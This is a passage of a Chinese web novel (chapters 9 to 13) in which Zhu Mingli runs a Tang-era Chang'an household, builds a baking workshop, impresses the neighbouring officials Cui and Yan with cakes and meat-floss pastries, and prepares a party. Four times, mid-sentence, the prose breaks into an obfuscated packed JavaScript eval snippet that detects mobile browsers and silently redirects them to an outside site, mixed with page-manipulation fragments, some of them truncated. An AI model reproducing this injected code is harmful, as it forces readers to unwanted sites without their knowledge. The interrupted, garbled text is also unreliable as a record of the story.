驿使笑了下：“不是，是我忘了，有您家里的信件。”这真怪不了他，信太薄了，揣在怀里一点儿感觉也没有。 家里的信？沈绩脸色一肃，家里母亲身体不好，他害怕加急来信。 接过信，他匆忙拆开，一目十行……啊，没有十行。 是很陌生的字体，就写了两列：府中刁奴贪婪谋私，母亲欲严加处置，若遇难决之处，待君归来定夺。 没头没尾的，连个落款都没有。 他怕是纸张太薄，折叠起了前文，还特意用指腹撵了一下，确认了只有这一张。 院里副将匆忙跑来，人未至声先到：“九勋，怎么样，是回京——” 他的话卡在喉咙里：“你为何这般神情，难道是？” 沈绩摇头：“圣上让我们慢慢拔营回京。这不是宫里的信，是家书。” 家书？沈老夫人可不爱写信打扰沈绩。 萧遂倒抽一口凉气——沈府出事了？！ 这心路历程和沈绩一模一样。 沈绩赶紧打断他：“不是，是我……娘子的信。” 哦，他们两个在这个时候才同时想起来，俩月前好像是觉得抛下人家不太好，特意修书一封送回了沈府。萧遂觉得太冷漠，还让沈绩在末尾添了一句。 “说什么？”萧遂明白不可能是缠绵情书，所以很好奇。 沈绩把信给他，萧遂一扫，也开始搓捻纸张找前页，没找着，回过味儿来：“你俩这写信口气还挺像。”难以想象日后见面了二人如何相处，幸好娶得是祝家闺女，诗书世家，火气不大，应该不至于到动手的地步。 沈绩斜他一眼，把信夺回来，转身进了房内：“收拾东西，准备拔营吧。” 这个小插曲就此过去，沈绩对新婚妻子的印象在“成亲前绝食相逼”上又加了一点：性子冷，勉强客气。 沈绩也不至于因为这个头疼，毕竟二人现在和陌生人也没什么差别，真要头疼也得等回京后再头疼。 * 祝明璃把新的规矩宣贯以后，便没有再在上面费力气了。大家都是熟手，不会出现大问题，最多就是不适应。就算有不合理的地方，也要经过一段时间检验才会浮出水面。 这些日子焦尾和绿绮忙得脚不沾地，主要是和各个管事沟通，并向祝明璃传达意见。没听懂的、出差错的，也都要她们亲自去讲去看。 这个时候祝明璃就会让她们带上“实习生”，选一些灵巧的小丫鬟跟在后面多学多看，时间长了，就知道哪些可以收做徒弟。 绿绮上手更快，但焦尾踏实肯学，不会的就问，进步飞速。 她们有自己的事要忙，祝明璃也没闲着。 管理沈府是必做的事儿，开了头，进入平缓期，她就可以折腾自己真正想做的事情了。 沈府地大，闲置宅院很多，祝明璃选了离自己最近的一间院子，让人垒了一个简陋的烘焙作坊——有超大台面的厨房、大小不一的土窑。 在烤箱出来前，西方人烘烤面包蛋糕都靠土窑。依靠柴火加热，封闭空间内热量不停攀升，大小不一加热的温度也不一样，这些都要靠以后试出最佳时间。 沈府最不缺的就是劳动力，毕竟主子太少，还不奢靡，不需要一堆人围着转。府里的工匠比较闲，一般就是修缮器具、院墙、石板地等等，很久没有接到大活了。 但这活也不难，祝明璃站在一旁指导，他们很快就砌出了像模像样的面包窑。小厨房更好做了，这些都是很熟的活儿。 等府外定的超大木板运进来时，小工坊的基建工作也差不多完成了。 不像现代，装修需要散甲醛，现在只需要等风干结实就好。 得用助手不在身边，祝明璃也不需要端架子传话，行动力慢慢，一大早就跑大厨房招小丫鬟。 厨娘是个紧俏活儿，大厨房的厨娘不能挖墙脚，打下手的小丫鬟还是能凑出不少的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207351|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 烘焙虽说讲究天份，但祝明璃也不会一来就上难度，先从简单的练手，所以只要有经验，愿意学就好。 小丫鬟站成两排，一个两个都很激动。大家每日活动范围就那些，三夫人前些日子在建奇怪小厨房的事儿早传遍了，被选中过去，无论做什么，都算提拔，月例肯定要涨的。 只是祝明璃有一个特别的要求：非常爱干净。 “把手伸出来让我瞧瞧。”祝明璃态度温和，小丫鬟们虽然有点怕，但也没有很紧张。 大府里的丫鬟就没有邋遢的，每个人的手都干净，但也有细小的差距。 比如有个小丫鬟的指甲几乎快要剪到肉了，形状十分相似，手腕上一点饰品也没有。再看头发，梳得一丝不苟，饰品也是对称的。 多少沾点强迫症洁癖，正是她需要的人才呀！ 祝明璃点了她，又点了四个，给厨房管事交代一声，算是把她们“转岗”到自己院里了。 沈令衡从练武场过来，满身热气往大厨房钻，准备薅点吃食垫肚子，正巧撞见祝明璃选人。 这个三叔母，不知道哪儿来的一身劲儿，先把沈府整顿了，又紧锣密鼓铺开了一堆新规矩，前几日他又听到下人议论她在建小厨房。 一开始，他是很不快的，因为改规矩后，他出入沈府都要被门房数一遍带的人，一副生怕出现疏漏的样子。但慢慢的，他也品出好处了，比如现在随时来大厨房，都有热乎的吃食等着，管事来他院里“考评”以后，院里的人也不再躲懒，洒扫勤快多了。 有一瞬间，他好像回到了阿娘还在管家的时候。 带点好奇，又带点莫名其妙的排斥，沈令衡捏着饼在一旁看热闹。见祝明璃让丫鬟们伸手，他很想问这是在挑什么，但又不好意思开口。 终于，祝明璃选完小丫鬟了，和管事交代了几句，带着丫鬟们往外走，和他撞了个照面。 沈令衡一口索饼在嘴里卡着，躲开也不是，打招呼也不是。 他想到沈令仪一来就和祝明璃迅速亲近的模样，提起眉毛，直直地看着祝明璃，要多没礼貌就没多没礼貌。 祝明璃其实从一开始就发现他了，但她才懒得管。沈母是个好人，沈府好起来自己也有好处，所以她会好好管家，这不代表她要教育孩子，扶正歪了的树苗。 师范教育，这是另外的价钱，而且她真不擅长！ 于是她撞上沈令衡后，只是朝他嘴角扫了一眼，然后带着小丫鬟们转身就走了。 沈令衡：？ 他以为自己已经很冷漠高傲了，没想到还有个中高手。 倒是小丫鬟们一个个紧张地行礼，证明他确实不是隐形人。 祝明璃瞥的那一眼让他忍不住掏出手帕擦嘴角，没油啊，那是为什么看那一眼。 他浑身难受，快步朝水缸走过去照镜子。 10. 第 10 章 另一边，祝明璃带着小丫鬟们从最简单的烘焙入门，同时测试记录最好的烘烤时间，成品太干太湿都不行。 采购的单子也得递出去，找胡商买奶制品，南商买紫菜，还要派人与屠户商量，是否能对公猪阉割。此时阉猪技术还未全面普及，匠人难找，全靠传承，所以大部分猪肉都是未阉割的，腥臊难忍，再加上炒菜还没发明，一碗蒸出来的油油水水腥肉，能流行才怪了。 不过也不是所有人都讨厌猪肉，总有好这口的，所以猪肉并不难买。苏东坡曾言 “黄州好猪肉，价贱如泥土。贵者不肯吃，贫者不解煮。 ”，实在是可惜了食材。 没找到阉割过的公猪，那就只能好生处理猪肉，避免腥臊味儿。 比如肉松这种童年记忆，烘烤变得蓬松的同时，也能大大减少其肉腥味，即使是味蕾敏感的幼童也喜欢吃，就足以证明其魅力。虽然在后世十分常见，但据传是清朝后期才发明出来的，祝明璃所处的这个时代更是连影子都没有。 胡商们早已把乳制品玩儿出了花样，祝明璃想要的奶油、黄油、奶酪，稍微形容一下，对方就能提供货品。提供不出来也没关系，祝明璃也能做，比如冷冻后率先析出的浓厚牛乳，不就是现代奶茶店必备的厚乳吗？ 她一头扎进了烘焙小作坊里，管事想要找人，往那院儿里去，准能逮到人。 然后带着一身极其浓郁的甜香离开，甜品的气味就足够带给人愉悦感，这可比贵得要命的熏香好，小丫鬟们最近做的梦都又甜又软。 常混迹小吃街的朋友都知道，最勾人最悠长的味道，除了油炸不停的臭豆腐就是正在烘烤的甜品店。沈府地广，院子间隔远，即使这样，午后在庭院散步的沈令仪也被勾过来了。 祝明璃已经上头了，这些时日一个接一个新品出炉，光是试品就把自己撑得要命。 “叔母？”沈令仪小心探头。 她身后小丫鬟小声议论，咕嘟咕嘟吞口水。 祝明璃转身瞧见她，也不客气，一把拉过来：“快快快，试一试，给我意见。” 沈令仪还没来得及细问，唇边就递过来了软软热热的蛋挞。 香气扑鼻，牙齿一碰，外层酥皮扑簌簌地掉，内陷还在晃动，又滑又嫩，化成一滩浓郁的乳香融在舌尖。 沈令仪所有的话都被吞下去了，她惊讶地看着祝明璃，眼里是吃到甜食后多巴胺绽开的惊喜。 蛋挞不愧是经典甜品，一举拿下小姑娘。 “这可比京中最好糕肆卖的水晶龙凤糕还好吃！”她给予了最高赞誉。 倒不是沈令仪没吃过好东西，只是火爆的糕肆总是要排队的，等小厮丫鬟买到手，拿回给她，早凉了，没有香气扑鼻的冲击感。 这段时间大家都在好奇这里在折腾什么，今日总算明白了，完全超出预期！ 她囫囵又卷入半口后，才满眼星光地发问：“这可是江南的糕点方子？” 祝明璃：“也可以这么说吧。”一路往南走水路到葡萄牙，勉强算江南吧。 沈令仪从祝明璃手中接过剩下的半个蛋挞，馋虫直叫，又不好意思当面一口气吞完。岔开注意力道：“如此软嫩，老少皆宜，不知叔母还有剩的吗，我想给祖母也尝尝。” 祝明璃本想说，老年人吃这么甜不太好吧，但又想到现代的时候很多老人家就爱喝优酸乳好吃点，这把年纪了，想吃啥吃啥吧。 祝明璃很赞赏沈令仪的贴心，让小厨娘们把新出炉的那份用食盒装好：“我让人送去，看看合不合母亲的口味。” “我去送吧，正好我闲着没事儿。”沈令仪连忙接过，总算是露出小姑娘该有的天真活泼，“这么多呢！太好啦！”祖母不吃的话，自己能分到很多……啊，怎么可以这么想呢。 多么天真可爱的小姑娘啊，祝明璃忍不住拍了拍她的肩膀，没事儿，以后可不会让她闲的。 她想做的事太多了，正是用人的时候。 这个时候的甜品文化并不落后，蛋挞用料简单，口味没那么稀奇，不怕市场遇冷。但祝明璃可不会满足于此，简易版烤箱都做了，不做个几十上百种甜品都对不起自己。 烤面包是个技术活儿，湿度、温度、面团大小都有讲究，祝明璃自己订了个小本儿，烤一次记一次数据。 一字排开五个大小不一的面包窑同时启动，小厨娘们从一开始的跃跃欲试到最后灰心丧气，看着厨台上堆着的或干焦或湿透的面包失败品，心疼得直滴血。 才开始她们畏惧祝明璃的身份，但这几日朝夕相处，泡在这甜蜜蜜的小作坊里，渐渐不再那么谨小慎微，露出少女本来的大胆活泼面貌。 “夫人，还要继续吗？”又出来一锅金灿灿的面包，小厨娘们馋得口水都要掉下来了。 结果祝明璃切开面包一看，外面过脆，而最里面还是湿软的，不行！ 也不知道是谁“吸溜”了一下嘴，祝明璃才意识到这对小丫鬟们简直是折磨。 她解释道：“最里面还是生的，不可入口，等第一锅成品出来了，我答应你们一人一个好不好？” 小厨娘们不过十三四岁，个头还没拔起来，就已经拥有几年工龄了，从被祝明璃点来第一天，所有人的好感度都飙到了一百。 现在听到祝明璃的承诺，感动得眼泪旺旺的，但是夫人强调了小作坊必须保证干净，于是又全部把眼泪缩了回去。 强迫症小厨娘比祝明璃还在意细节，她一边把面包窑飞上的炭火灰擦干净，一边把柴炭严格恢复到之前的数量和形状，道：“夫人，一次比一次好了，至少马上就要熟透了。” 祝明璃没那么挫败，面包窑的温度全靠柴火手动控制，幸亏有个强迫症在旁边严格进行变量控制，否则光是试火候就要试十几日。 “火候不变，温度不变。”祝明璃一遍碎碎念，一边在纸上写写画画，“湿度差一点。” 她道：“水盘里再加一点水，成败在此一举了。”若是没有后世的经验，水浴法的问世还得等个一千年呢。 又一次尝试，这次开窑时，几个小厨娘都开始闭眼念佛了。 揭开窑门，依旧是那股香甜浓郁的奶香喷涌而出，小厨娘们把特制铲子递给祝明璃，不敢亲自动作，怕自己霉运污了一窑面包。 祝明璃被她们带得也很紧张，小心用铲子拖出托盘。 成色，完美。用刀切开，软嫩蓬松，从内到外湿度均衡，也完美。 小厨娘们瞪大眼等着祝明璃宣判。 祝明璃笑了出来，大声宣布：“成了。” 小厨娘们没憋住，蹦蹦跳跳地欢呼：“太好了！做成了！” 她们叽叽喳喳感叹，音量极大，与远处传来的声音交融在一起——“成了，做成了！” 祝明璃一开始还笑，笑着笑着反应过来，咦，不对劲儿呀，所有人都在院子里，身后哪来的声音？ 她一幅见鬼似的表情，小丫鬟们见状顿时安静了下来。 祝明璃给她们比了比手势，示意小心一点，然后循着声音的方向找过去。 祝明璃的院子在沈府后院居中靠右一点，小作坊离她院子近，但也有一段距离，恰好和旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207352|181285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府邸的内院挨着，在几十年前两个府邸的主人还因为隔太近违章搭建生出矛盾，吵了许多年。 因此这个院子才渐渐荒废。 院子旁种了许多竹子，仆役定期修理，并不算茂密，刚好遮住高墙，影影绰绰别有一番韵味。 祝明璃快步走到高墙下，听到上方传来嘀嘀咕咕的声音。 “行了，快扶我一把，让我下来。” “都说了，此举不妥，你一把年纪了，怎么越老越不要脸了。你没听见都是小姑娘的声音吗？” “不可能，我祖父还在的时候跟他们吵过架，这个院子再也不住人了，不会是内眷。哎哟，我的老骨头。” “这事儿也总算有了了结，听声儿是做成了，日后应当就不会再飘味儿进来了，太难受了。” 祝明璃听到这儿，礼貌出声：“请问是味儿太浓，扰到了你们吗？实在是羞愧。”居然扰民了，对面完全可以来敲门说一句的嘛，街里街坊的。 “嘭！” “哐！” 对面传来手忙脚乱的声音，好像是长梯倒地。 诡异的沉默。 祝明璃：“请问？” 对面传来窸窸窣窣的商量声，祝明璃只能依稀听到破音的词。 好像是在讨论祝明璃到底会是谁，想了一圈硬是没想到前些日子沈家三郎娶亲了，最后两人肯定她一定是某位管事。 “这位小娘子，恕老夫冒昧，实在无心打扰，只是日日香味绕梁，心下好奇，忍不住攀墙细究是何处传来的香味。” 祝明璃好奇地问：“二位觉得这香味如何？” 瞧这关注点，果然是醉心厨艺的厨房管事。 对方松了口气，语气温和道：“香甜至极，独特浓郁。我猜想应是糕食发出的香味，但长安如此多糕厮，却未有一家有如此香浓的味道，所以十分好奇，忍不住探听究竟是何物。” 墙头很高，普通的竹梯翻不过去，仅能让声音更清晰一点。 他和老友日日被馋，一到点就开始争论到底在做什么，用了哪些食材，争不出来，一气之下干脆爬梯探听，恰好听到他们成功的欢呼，于是莫名的参与感让他们也跟着欢呼…… “原来如此。”祝明璃轻笑一声，“若是好奇，为何不谴人过来问一下呢？” 这话说的。这个坊里要么住的是从建朝就发达的高门，要么是近些年极受重视的高官，都很有架子，才不会像平头百姓那样有事没事街坊邻居窜个门。 而且就算是好奇到了极点，也不可能递帖子进府和男主人见面后，问你家厨娘在折腾什么？ 所以对面笑笑道：“只是和老友聊到兴头上，一时生了探究之心罢了。”意思是并没有那么受困扰。 祝明璃心想，面包和蛋糕出炉后，小丫鬟们和沈令仪都说好，但终究是年轻小娘子的口味，也不知此时的老年人评价如何。 有试吃员自己上门，祝明璃也不客气，直接道：“既然如此，想必二位在吃食方面颇有研究，不知可否请二位品鉴一番？” 对面二人对了对眼神，心说这个厨娘倒是可用之才，就这么轻松地给两家牵上线了。 沈府从建朝起就是武官，此时文武官并无高低之分，但也有些隔阂。对面的府邸住着崔京兆，是世代文官崔家出来的，不出意外的话，再过个几年必定能入阁拜相。两家只是打照面互相点头的熟络程度，并无交情。 崔京兆想拒绝，但老友在旁边一直拍打他，意思很明显了。 崔京兆在心里叹了口气，只好道：“那就麻烦了。” 11. 第 11 章 崔京兆想的是，厨娘肯定要把此事告知沈府主人，沈老夫人那么大岁数了，不知还会不会有心打好关系。话说沈三郎倒算是年轻一辈里难得的可用之才，只是处境…… 他这么想，他的老友也在思索这些，二人都想着这件事估计沈府会商议许久，或许后日才会上门。 只是没过一会儿，仆役就来报，说沈府那边递了帖子给门房。 “咦？”崔京兆有些讶异，脑子里仔细思索，估摸道，“想必是沈大郎留下的小娘子。” 虽与沈府并无私交，但京中谁提到沈家不会赞一句忠义，因此对沈家留下的忠良之后颇有印象。 崔京兆膝下无女，老妻出面招待又尴尬，只能让老友严弘正带来的孙女暂为接待。 严弘正，天下文宗，只要是读书人，无人不知其名。然而他早年辞官，一心吃喝玩乐，如今年岁大了，才在京城安顿下来，不再满天下乱跑。 他性子随和懒散，这些年一直孙女严七娘带在身边当做执笔，记录多年的心得感悟以及诗赋。 祝明璃带人过崔府时，严七娘还在整理昨日的手记。 双方见到彼此都是一怔，严七娘以为来的是沈家大房的小娘子，而祝明璃以为接待自己的会是位老夫人。 严七娘站起来迎接，祝明璃惊讶地发现这位娘子双眼无光，竟然是个高度近视。 她行事就是传说中世家大族倾力培养的嫡女才有的风度，举手投足大方自然，几句话后，二人便明白了对方的身份。 严七娘对祝明璃笑笑，请她稍坐品茗，自己去去就回。 祝明璃看了眼加满各种作料的茶汤，绝对不会上第二次当。 另一边，严七娘一脸恼火地找到了祖父，三言两语说清了事情的经过。两人这才想起，沈三郎确实是娶亲了来着，对方是祝家的后辈。 祝明璃的祖父和严弘正都是文坛名士，自然认识，只不过交情一般，毕竟两个都是天南地北乱跑的人。 但这不妨碍他一拍大腿：“原来是祝家小娘子，这样算来，也是我的后辈了。”怎么算的，不重要。长安城这种地方，一砖头下去七个官，你的亲戚我的徒弟，怎么都能牵上关系，更何况严弘正本来就认识祝明璃祖父。 既然是熟人家的后辈，那也没什么好避讳的。更何况此时忌讳的事很少，饮酒宴席男女老少尊贵卑贱混坐的都有，这种小辈来拜访的，自在就好。 祝明璃来之前已经和沈令仪打听好了隔壁的情况，崔京兆与严弘正是挚友这事儿，长安无人不知，所以祝明璃和沈令仪都猜二人其中一位是严弘正。 待二人来到前厅，祝明璃一眼就分辨出了二人。 崔京兆身上带有高官特有的威严感，也就是，被官味儿腌透了。而严弘正看着就有一股“名士自风流”的闲散味儿，乐呵呵的。 祝明璃分别给二人见礼，面对长安读书人都想拜见的名人，她的态度显得十分不卑不亢：“冒昧拜访，实在是打扰。” 崔京兆还未开口，严弘正就已经大手一挥：“不必客套，你小时候，我还抱过你——”祝明璃疑惑抬头看他，他话音一拐，“家郎君的大哥。”沈大郎他是真抱过，后来就跑岭南去了，没赶上祝明璃幼童时期。 祝明璃沉默了一瞬，转移了话题：“崔公严公好奇甜糕的做法，我也好奇二位的看法，所以带着一些糕点过府来，望二位能给点意见。” 贵族里喜欢吃喝玩乐的人不在少数，但喜欢研究琢磨吃食的却不多，尤其是祝明璃这种亲力亲为，自创做法的小娘子。 严弘正来了兴趣，踱步过来。祝明璃揭开食盒，托盘里拼装了好几样精致的蛋糕面包小块儿。 此时有和蛋糕外形类似的糕点，但都是蒸出来的，有点像现代的米糕发糕，和烘焙的蛋糕不一样。 先不说口感，仅从外观来看，蛋糕内里是奶黄色，外面一层是焦黄，这个颜色就足够稀奇。 蛋糕前几日就做好了，所以花样多一些，有纯蛋糕，有抹果酱的，果肉夹心的，抹奶油的，还有甜咸结合的肉松小贝——这个在现代很火，不知此时的接受度如何。 奶油、果酱都是常见的配料，但肉松和海苔却不常见，二者都需要烘烤，只有祝明璃这里有，是独一份的。 面包今日才成功，还没来得堆料，但祝明璃已经有了很多想法：老式肉松沙拉火腿粒面包卷，咸蛋黄面包，红豆沙面包，蜂蜜小面包，蒜香面包…… 祝明璃做出“请”的手势，严弘正便拿起筷子大大方方品尝。 先从最简单的蛋糕小方块吃起，这一口下去无比惊艳，比蒸出来的糕点更蓬松更软糯，而且奶香十足，却毫无腥味，仿佛在吃甜味的云朵。 严弘正大力上下点头：“嗯！” 他用手肘戳戳好友：“你试试。” 崔京兆和他性子不像，是个正经严肃的人，闻言先对祝明璃点头客气一下，然后再动手，吃了一口便给出评价：“色、香、味皆奇特。” 此时严弘正已经把果酱、奶油的都吃过了，点头的力道越来越大，最后终于来到肉松小贝。 祝明璃有些期待又有些忐忑地看着他。 入口，这下他没有“嗯！”了。 毛茸茸的肉松裹满了整个外皮，配上脆脆海苔的，口感极其丰富，还没习惯，已经咬到了爆浆的沙拉酱，堆料太多，以至于蛋糕本身的存在感都不强了，是肉松的蓬松韧劲、海苔的咸鲜还有沙拉酱的甜香。 他蹙起了眉头。 祝明璃紧张地问：“可是不合口味？” “沈娘子，此糕口味倒是与以往吃过的甜食相反，竟又咸又鲜，不知外面裹的是何物？” 祝明璃解释道：“是肉松和海苔。肉松是由腌制过的猪肉烘烤制成的，海苔则是由紫菜烘烤调味做成的。” 天下文宗的脑子比一般人灵活多了，写文赋诗需要灵感，相应的，制作美食同样需要灵感，他觉得能挖掘到这种食材制作方法的祝明璃是奇才中的奇才。 走到这一步的人，反而谦虚，没觉得读书比其他更高贵，惊叹道：“沈娘子颇得你祖父遗风啊。” 祝明璃道谢，正想问到底是好吃还是不习惯，就见到严弘正把剩下一个飞速塞嘴里了。 祝明璃：…… 崔京兆也习惯了，只是无语地摇摇头。 祝明璃却很上道，来之前她也知道严弘正的江湖地位，与他交好一点儿坏处也没有。 于是她大方道：“严公若是喜欢，今日做的还有许多，等会儿我叫人送来。” 巴结严弘正的人多了去了，他并非看不出祝明璃的想法，但她做得坦荡，毫无谄媚，也没把自己放得很低，所以严弘正一点都不反感。 “不错不错，那就多来点这个咸甜口和果馅儿的。”他一点儿也不客气，“还有奶酥的也给我带点，我孙女应该喜欢。” 严七娘在一旁抬起死鱼眼看了他一眼，又低下头继续修改手上的手记。 崔京兆十分克制，见二人热络起来，只是和蔼笑了笑。 祝明璃见状，将话题抛给两人，指向面包：“这是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大大方方的，严弘正更喜欢她了，笑道：“好。” 祝明璃起身告退，严弘正转头唤道：“七娘！” 严七娘闻弦知雅意，合上册子，起身过来与祝明璃一同往外走。 她的近视有些严重，目光一直盯着地面，像是怕摔倒的样子。 二人一路无话，走到一半，严七娘忽而突兀开口：“你说的理由，是假的吧？” 祝明璃停住脚步，严七娘把目光从地面挪到她脸上。 本以为祝明璃会恼怒或者找借口辩解，结果她只是惊讶地笑了一声：“这都被你看出来了。” 严七娘一愣，她的问题可谓冒犯至极，祝娘子居然一点儿也没生气？作为一个求真求实的执笔，谎言就像落在背上的头发一样，让人浑身难受，她说出口就后悔了。 她垂下眸道歉：“祝娘子，七娘无意冒犯。” 祝明璃反而觉得她性格很有意思，问：“你叫什么名字？” 严七娘感受到祝明璃的目光在自己头顶盘旋，低着头道：“我叫严如徽，字昭明。” “昭明。”祝明璃念了一句，“真是个好字。我叫祝明璃，没有字。” 说完，祝明璃抬脚继续前走，严七娘连忙跟上。 这下二人谁都没再开口了，祝明璃走到门口对严七娘招招手：“留步。” 严七娘便顿住脚步，看着祝明璃很快在自己的视野里模糊成一团色块。 她轻声道：“真是个奇怪的娘子。” 12. 第 12 章 甜品的口味经过长者的检验后，接下来就该轮到年轻人了。 不是祝明璃不信任沈令仪的品味，是她明白无论自己做出什么来，好感度100％的沈令仪都要夸得天上有地上无。 回到府后，沈令仪从沈母那边出来，垮着肩：“叔母，祖母让我替她向你道谢。”心意收下了，但还是没什么胃口。 沈母这种是心脉受损，也就是现代说的抑郁状态，厌食是肯定的。心病还需心药医，就算满汉全席放在面前，也吃不下。 她拍拍沈令仪的肩：“会好起来的。” 沈令仪点头，但情绪还是不高。 祝明璃便扯开话题：“前些日子忙，现在闲下来了，你看何时把好友邀过府聚一聚？” 沈令仪暂时从低落的情绪中振作：“叔母能抽得出空吗？” “现在府里人手换了，运作了小半月，没出差错。我琢磨的糕点也都成功了，小厨娘们一个比一个肯学，我没什么操心的。”她耐心解释道，“抽出手来办个闺秀间的聚会，不算什么难事儿。” 沈令仪当然想办，除了想重新融入圈子以外，还有一些说不出口的小心思——她现在也是有长辈照看的小娘子了。 叔母能力强，性子大气，样样都好。虽说宴会八字还没一撇，但沈令仪相信叔母一定能办得极好，让其他人都羡慕她沈令仪有这样的小叔母。 但这种想法是不能说出口的，沈令仪很矛盾，再三确认：“真的不会累吗？” “真的。”闺蜜聚会不需大费周章，现代聚会活动多，足够应付这些小娘子。 当然，此次聚会主要原因是祝明璃想检验一下甜品口味，顺道营销一把。她嫁妆里一直亏损的药铺早该换生意了，如果在小娘子中反响也不错，下个月就闭店重装。 见沈令仪犹豫，她劝道：“沈府地大，人却太少，邀些小娘子过府来玩儿，活泼热闹，说不定你祖母会受感染，胃口大开呢。” 天哪，怎么会有这么会劝人，这么贴心的叔母！ 沈令仪顶着星星眼，攥住祝明璃的袖角：“既然如此，那就麻烦小叔母啦。” 祝明璃估摸着排期，问：“七日后如何？” “都听叔母的！”沈令仪哪有什么意见，“我负责给她们下帖子。” 祝明璃见她这么开心，也忍不住跟着笑起来，还没来得及开口，沈令仪就小步跑开了：“我现在就写帖子去！” 看着她的背影，祝明璃忍不住感叹，果然是正青春可爱的年纪。 七日的时间眨眼就过，祝明璃的日子过得很充实。 规划宴会、研究嫁妆铺子、继续琢磨甜品、规划未来糕肆……累了就抽点时间去小厨房指点新吃食，再见见焦尾绿绮最近新收的小徒弟，鼓励鼓励。 对祝明璃来说，宴会只是其中一件小事，她该吃吃，该睡睡，一点儿也不紧张。 但全府上下的婢子都紧张得要命，这是新主母第一次待客，是要纳入考评的！ 尤其是那些新提拔上来的小丫鬟，上一次府里办宴会是几年前，她们当时还不配参与呢。 祝明璃写了章程交给大丫鬟，焦尾负责答疑，绿绮负责盯细节，连婢子们站位、传菜都排演了好几次，才敢说“差不多了”。 等到了宴会前一日，祝明璃再跟着走一下流程，最后把关，确认不会出大差错就行。 沈令仪翘首以盼，终于等到了宴会日。平日里她本就起得很早，今日更是往前推了一个时辰，梳洗打扮，早就搭配好的衣裳首饰临到头又换下重搭。 不过无论怎么换，祝明璃给她买的首饰是一定要戴到头上的。 丫鬟们好久没见过这么精神蓬勃的沈令仪了，也跟着高兴起来，从上到下都喜笑颜开，等到给沈母请安时，沈母也发现了这点。 “令仪今日的打扮倒和往日不太一样。”她好奇地道。 沈令仪下意识摸摸头上的樱桃簪，笑道：“今日邀了些小娘子过府聚一聚，宴会是三叔母主持操办的。” 沈母一愣，叹道：“她有心了。” 沈令仪平日都会守着沈母用完早膳再告退，今日却是怎么都站不住：“祖母，若无事，我先回院里收拾收拾。”万一小娘子们想来她院儿里参观一下，总不能丢面儿。 沈母难得见到她如此活泼的一面，颇受感染，心情也跟着轻快几分：“快去吧，我这里这么多人手，哪里需要你整日守着。” 沈令仪便笑着告退，回院里用早膳，安排丫鬟洒扫。 她这边忙忙碌碌，其他人也没闲着，一大早先把布置过的场地擦拭打扫一遍，一夜过去怎么着都会落灰的。然后再把准备工作做好，和小队长交流确认今日任务，祝明璃只是希望她们能干到及格分六分，她们却想干到十二分。 晨曦铺洒，长安城伴随着鼓声苏醒过来，各府的小娘子们也开始起床洗漱打扮。 她们倒也不会整日被拘在院里，大门不出二门不迈，但长安城的活动就那些，也不能学男子一样斗鸡听曲，所以每一次聚会都格外珍惜。 沈令仪性子内敛，交好的小娘子不多，此次拢共就给六个府下了帖子。但都给人家递帖子了，只邀请一房的小娘子总归不太好，所以年龄相仿的小娘子都收到了帖子。 最后回贴说要过府来的，杂七杂八竟然凑足了二十位小娘子。 有的小娘子拖延，她的姐妹们就只能等着候着，所以最后都日上三竿了，各府的小娘子们才终于抵达。 查帖子认人，入府，和去其他府邸没什么区别。沈府下人打起十二分精神，在她们眼里也算不上多严谨，毕竟真比规矩，谁也比不过公主府。 但再往里走，就察觉出一丝特别的味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看似小而雅，其实花了不少的心思。 见小娘子们前来，婢子们轻声细语引她们入座，甫一坐下，还未开口，就有人端来托盘询问：“小娘子喝点什么，热茶，酪浆，乌梅浆，蔗浆，葡萄果茶，黑糖奶茶？” “嗯……”小娘子们眼花缭乱，前面的都听过，已经很难选了，后面的又是什么，听着可真稀奇。 丫鬟们会心一笑，似乎早就猜到了她们会有这种困惑：“小娘子若是难以抉择，不如试尝几杯？” “试尝？” 丫鬟将托盘一转，露出秀珍小杯子，一般用于品酒小酌，刚好能装一口饮料。 “那就把后面两样给我试试。” 大伙没见过这种方式，都感到十分新奇。 13. 第 13 章 此时还没有“茶圣”的出现拯救饮茶文化，茶叶一般都和各种调料一起煮，好这口的小娘子们还是在少数。 但祝明璃早早就让茶水房的丫鬟收手，停止虐待茶叶了。现在虽然做不到十步煎茶，但基础的泡茶总是能做到的，这样做出来的茶饮味道清淡，口有余香，提神效果也不减。 奶茶的茶叶是提前烘烤过的，能让茶滋味更浓，小丫鬟们一早就起来熬奶茶，将糖块熬化，呈焦糖色后便放入牛乳与茶叶一起熬煮，最后加入奶酥，过筛，简易版的黑糖奶茶就做好了。 